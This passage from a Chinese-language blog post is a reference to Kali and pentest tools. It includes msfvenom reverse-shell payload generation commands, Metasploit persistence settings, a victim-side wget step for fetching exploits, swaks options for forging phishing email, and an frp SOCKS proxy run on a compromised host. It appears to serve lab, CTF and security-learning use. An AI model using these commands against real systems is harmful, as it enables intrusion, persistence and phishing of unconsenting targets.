Stage类型payload为分阶段传递payload,payload本身无法反弹shell,当执行payload(即图中shellcode)时,会请求服务器上的第二阶段payload(即图中metsrv),此时Payload就能够反弹Shell,当metsrv传输成功之后,shellcode就会把控制权转给metsrv,metsrv这时再去请求另外两个dll文件stdapi和priv。值得注意的是,Stage型Payload只能用msf的exploit/multi/handler模块进行连接,无法使用nc直接连接。

image-20220714205301808

Stageless类型Payload

不分阶段的payload,在生成时已经包含反弹shell所需要metsrv组件,一般体积较大,默认的stageless payload只会包含stageless,所以如果想将stdapi和priv两个组建给包含进去的华我们可以用extensions命令:

1
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.56.105 LPORT=6666 EXTENSIONS=stdapi,priv -f exe -o stageless.exe

使用NC连接Payload

1
msfvenom -p linux/x64/shell_reverse_tcp  LHOST=192.168.56.105 LPORT=6666 -f R

权限维持

1
2
3
4
5
6
use exploit/windows/local/persistence
set payload
set lhost 172.23.88.101
set lport 6668
set session 115
run

将cmdshell升级成meterpreter

1
sessions -u sessionsid

MSF权限维持

2、searchsploit

功能:Exploit-DB是一个漏洞库,Kali Linux中保存了一个该漏洞库的拷贝,利用上面提到的命令就可以查找需要的渗透模块。

1
2
3
4
5
格式:
searchsploit [options] term1 [term2] ... [termN]
-m,--mirror 复制exp至当前目录
-p,--path 显示exp完整路径
-u,--update 更新exp

用法&技巧:

1
2
3
4
5
6
7
8
9
10
1.查询关键字采取AND运算
SearchSploit使用AND运算符,而不是OR运算符。使用的术语越多,滤除的结果越多。
2.使用名称搜索时尽量使用全称
3.使用“-t”选项
默认情况下,searchsploit将检查该漏洞利用的标题以及该路径。根据搜索条件,这可能会导致误报(特别是在搜索与平台和版本号匹配的术语时),使用“-t”选项去掉多余数据。例如searchsploit -t oracle windows显示7行数据而searchsploitoracle windows |wc –l显示90行数据。
4.在线搜索exploit-db.com中的关键字漏洞
searchsploitWarFTP 1.65 -w
5.搜索微软漏洞
搜索微软2014年的所有漏洞,关键字可以ms14ms15ms16ms17
searchsploit MS14
1
2
# 具体使用:
searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6

根据文档中具体用法编译

开启apache2

1
service apache2 restart 

利用wget下载exp

1
2
# 受害者
wget http://ip:port

九、社会工程学

1、swaks

swaks(一) - 伪造邮件

官网:http://www.jetmore.org/john/code/swaks/

GitHub:https://github.com/jetmore/swaks

功能:Swaks 是由John Jetmore编写和维护的功能强大、灵活、可编写脚本、面向事务的 SMTP 测试工具。同时对于一名信息安全高级工程师来说也是一个不错的利用工具!它通常被用来伪造邮件,进行钓鱼、社工等操作,

用法:

1
2
3
4
5
6
7
-t  –to 目标地址 -t   test@test.com
-f –from 来源地址 (发件人) -f "text"
–protocol 设定协议(未测试)
--body "http://www.baidu.com" //引号中的内容即为邮件正文;
--header "Subject:hello" //邮件头信息,subject为邮件标题
-ehlo 伪造邮件ehlo头
--data ./Desktop/email.txt //将正常源邮件的内容保存成TXT文件,再作为正常邮件发送;

附加工具

CMSmap

功能:cms漏洞扫描

项目地址:GitHub

DuckMemoryScan

功能:内存马检测工具,能查杀绝大多数内存马

项目地址:GitHub

Ds_store_exp

.DS_Store文件提取工具

Github

使用方法:

1
2
pip2 install -r requirements.txt
python2 ds_store_exp.py http://www.example.com/.DS_Store

Frp代理

功能:高性能反向代理服务器

msf代理在蚁剑的地方,上传大一点的文件经常会报错,所以使用frp代理稳定一点

服务器端:

在kali运行服务端frps,frps.ini配置文件为

1
2
3
[common]
bind_ip = 192.168.56.105 #kali IP,为与客户端绑定的进行通讯的地址
bind_port = 7000

前台启动:./frps -c ./frps.ini 后台启动:nohup ./frps -c ./frps.ini &

image-20220517115911129客户端:

在受害机运行客户端frc,frpc.ini配置文件为

1
2
3
4
5
6
7
8
[common]
server_addr = 192.168.56.105 #服务端的IP地址
server_port = 7000 #服务端的端口

[socks_proxy]
type = tcp
remote_port =8888 #socks端口
plugin = socks5

前台启动:./frpc -c ./frpc.ini 后台启动:nohup ./frpc -c ./frpc.ini &

image-20220517121046202

二层代理使用

网络拓扑:

攻击机:kali(192.168.56.105)

受害者:ubuntu20(192.168.56.133)

图片

Gobuster

GitHub

常用命令选项

1
2
3
4
5
6
7
8
-fw - 使用通配符结果强制处理域。
-np - 隐藏进度输出。
-m <mode>- 使用哪种模式,dir或者dns(默认:) dir。
-q - 禁用横幅/下划线输出。
-t <threads>- 要运行的线程数(默认值:) 10。
-u <url/domain> - 完整URL(包括方案)或基本域名。
-v - 详细输出(显示所有结果)。
-w <wordlist>- 用于暴力强制的wordlist的路径(-用于stdin)。

dns模式的命令行选项

1
2
-cn - 显示CNAME记录(不能与'-i'选项一起使用)。
-i - 显示结果的所有IP地址。

dir模式的命令行选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-a <user agent string> - 指定要在请求标头中发送的用户代理字符串。
-c <http cookies> - 使用它来指定您可能需要的任何cookie(模拟身份验证)。
-e - 指定呈现完整URL的扩展模式。
-f- 附加/目录暴力。
-k - 跳过SSL证书的验证。
-l - 显示响应的长度。
-n - “无状态”模式,禁用结果状态代码的输出。
-o <file> - 指定要将输出写入的文件名。
-p <proxy url> - 指定用于所有请求的代理(方案与URL方案非常匹配)。
-r - 按照重定向。
-s <status codes>- 逗号分隔的状态代码列表集合被视为“正面”(默认值:) 200,204,301,302,307。
-x <extensions> - 要检查的扩展名列表(如果有)。
-P <password> - HTTP授权密码(仅限基本身份验证,如果缺少则提示)。
-U <username> - HTTP授权用户名(仅限基本身份验证)。
-to <timeout> - HTTP超时。示例:10s,100ms,1m(默认值:10s)。

示例

1
gobuster dir -u https://10.35.0.106/chatbot/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -k

image-20220319205815092

魔术hash

常用hash文件

hashes

HOST碰撞工具

介绍

1
很多时候,访问目标网站时,使用其真实IP无法访问,只有域名才能访问到后端业务服务。这是因为反代服务器(如nginx)配置了禁止直接IP访问。

跨平台自动化Host碰撞扫描工具

1
https://github.com/cckuailong/hostscan

Python版本

1
https://github.com/fofapro/Hosts_scan

Linux Exploit Suggester 2

功能:提权工具

项目地址:GitHub

linux-smart-enumeration

功能:用于渗透测试和 CTF 的 Linux 枚举工具

项目地址:GitHub

Magic hashes

功能:魔术hash总结整理

GitHub

PEASS-ng

功能:提权工具,全版本提权

项目地址:GitHub

Pspy64s

linux进程监听工具

Github

Psexec

功能:PsExec 是一个轻型的 telnet 替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。

Stegseek

GitHub

Tqlmap

功能:SSTI注入工具,拿shell、执行命令、bind_shell、反弹shell、上传下载文件

Github

Venom

功能:代理转发

项目地址:GitHub

参考链接


kali工具用法介绍(更新中)
https://genioco.github.io/2022/01/08/Tools/Kali工具介绍/
作者
BadWolf
发布于
2022年1月8日
许可协议